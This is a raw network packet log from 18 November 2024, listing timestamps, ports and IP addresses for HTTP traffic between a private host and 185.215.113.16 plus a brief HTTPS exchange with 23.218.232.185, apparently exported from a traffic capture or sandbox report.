Nov 18, 2024 13:29:43.613953114 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.613969088 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614043951 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.614043951 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.614069939 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614104033 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614135027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614212990 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614226103 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614237070 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614243031 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.614264011 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.614360094 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.614579916 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614623070 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614635944 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614650965 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.614664078 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.614679098 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614692926 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.614692926 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.614731073 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.614870071 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.615145922 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.615163088 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.615176916 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.615189075 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.615221024 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.615375996 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.662556887 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.662573099 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.662585020 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.662718058 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.693989992 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694011927 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694025040 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694036007 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694048882 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694060087 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694067001 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.694076061 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694080114 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.694127083 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694161892 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.694283009 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694295883 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694308043 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694312096 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.694335938 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.694365025 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.694824934 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694839001 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694850922 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694870949 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.694881916 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.694941998 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.694941998 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.694948912 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.695054054 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.695065022 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.695081949 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.695157051 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.731587887 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.731614113 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.731626987 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.731641054 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.731653929 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.731667042 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.731686115 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.731755018 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.731758118 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.731775045 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.731790066 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.731801987 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.731802940 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.731853962 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.731901884 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.732106924 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.732151031 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.732178926 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.732209921 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.732222080 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.732260942 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.732292891 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.732292891 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.732326984 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.732748032 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.732804060 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.732815027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.732826948 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.732897043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.773231983 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.773247004 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.773258924 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.773359060 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.810961008 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.810986042 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811001062 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811029911 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.811029911 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.811089039 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.811116934 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811187029 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811201096 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811216116 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811218023 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.811244011 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.811388016 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.811470032 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811511993 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811537981 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.811553001 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811566114 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.811604977 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811616898 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.811625957 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.811636925 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.811682940 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.812036037 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.812125921 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.812136889 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.812158108 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.812171936 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.812194109 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.812196970 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.812223911 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.812249899 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.812515020 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.812587976 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.812625885 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.812652111 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.812664032 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.812695026 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.812841892 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.848805904 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.848829985 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.848846912 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.848962069 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.848978996 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.849014044 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849039078 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.849055052 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849071026 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849097967 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.849154949 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849169016 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849179983 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849183083 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.849208117 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.849208117 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.849293947 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.849296093 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849308014 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849704981 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.849769115 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849792004 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849806070 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849832058 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.849900961 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849915028 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.849931955 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.849956036 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.890543938 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.890578985 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.890593052 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.890649080 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.890754938 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.929490089 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.929503918 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.929516077 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.929605007 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.929605007 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.929641008 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.929660082 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.929675102 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.929687977 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.929699898 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.929725885 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.929775953 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.930108070 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.930293083 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.930310011 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.930434942 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.930471897 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.930485010 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.930546045 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.930546045 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.930639029 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.930766106 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.930800915 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.930815935 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.930860043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.930860043 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.930990934 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.931004047 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.931016922 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.931040049 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.931040049 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.931092978 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.931287050 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.931412935 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.931449890 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.931466103 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.931512117 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.931512117 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.934115887 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:43.935920954 CET	49832	443	192.168.2.8	23.218.232.185
Nov 18, 2024 13:29:43.935929060 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:43.936984062 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:43.937385082 CET	49832	443	192.168.2.8	23.218.232.185
Nov 18, 2024 13:29:43.938175917 CET	49832	443	192.168.2.8	23.218.232.185
Nov 18, 2024 13:29:43.938246012 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:43.938287973 CET	49832	443	192.168.2.8	23.218.232.185
Nov 18, 2024 13:29:43.966459990 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966485023 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966496944 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966559887 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.966559887 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.966597080 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966614008 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966625929 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966639042 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.966639996 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966702938 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.966702938 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.966803074 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966815948 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966828108 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966841936 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966855049 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.966867924 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.966876984 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.966950893 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.967437029 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.967449903 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.967511892 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.967539072 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.967595100 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.967611074 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.967639923 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.967643023 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:43.967673063 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.967693090 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:43.979340076 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:43.982184887 CET	49832	443	192.168.2.8	23.218.232.185
Nov 18, 2024 13:29:43.982209921 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:44.007949114 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.007965088 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.008147001 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.027853012 CET	49832	443	192.168.2.8	23.218.232.185
Nov 18, 2024 13:29:44.045763016 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.045783043 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.045797110 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.045893908 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.045893908 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.045931101 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.045974016 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.045977116 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.045986891 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.046030998 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.046030998 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.046088934 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.046102047 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.046113968 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.046336889 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.046421051 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.046474934 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.046489000 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.046504974 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.046535015 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.046547890 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.046560049 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.046730995 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.047151089 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047213078 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047225952 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047239065 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047245979 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.047265053 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.047334909 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047357082 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047363997 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.047370911 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047386885 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.047440052 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.047643900 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047657013 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047669888 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047686100 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.047694921 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.047709942 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.047776937 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.072295904 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:44.073513985 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:44.073522091 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:44.073546886 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:44.073560953 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:44.073601007 CET	49832	443	192.168.2.8	23.218.232.185
Nov 18, 2024 13:29:44.073602915 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:44.073627949 CET	49832	443	192.168.2.8	23.218.232.185
Nov 18, 2024 13:29:44.073689938 CET	49832	443	192.168.2.8	23.218.232.185
Nov 18, 2024 13:29:44.074282885 CET	49832	443	192.168.2.8	23.218.232.185
Nov 18, 2024 13:29:44.074301958 CET	443	49832	23.218.232.185	192.168.2.8
Nov 18, 2024 13:29:44.083534002 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.083580971 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.083600044 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.083673000 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.083673954 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.083715916 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.083779097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.083791971 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.083805084 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.083818913 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.083836079 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.083843946 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.083904982 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.083909988 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.084052086 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.084136963 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.084183931 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.084199905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.084213018 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.084243059 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.084243059 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.084376097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.084427118 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.084443092 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.084454060 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.084541082 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.084558010 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.084568024 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.084575891 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.084603071 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.084733963 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.085001945 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.085048914 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.085154057 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.163369894 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163439035 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163451910 CET	80	49829	185.215.113.16	192.168.2.8
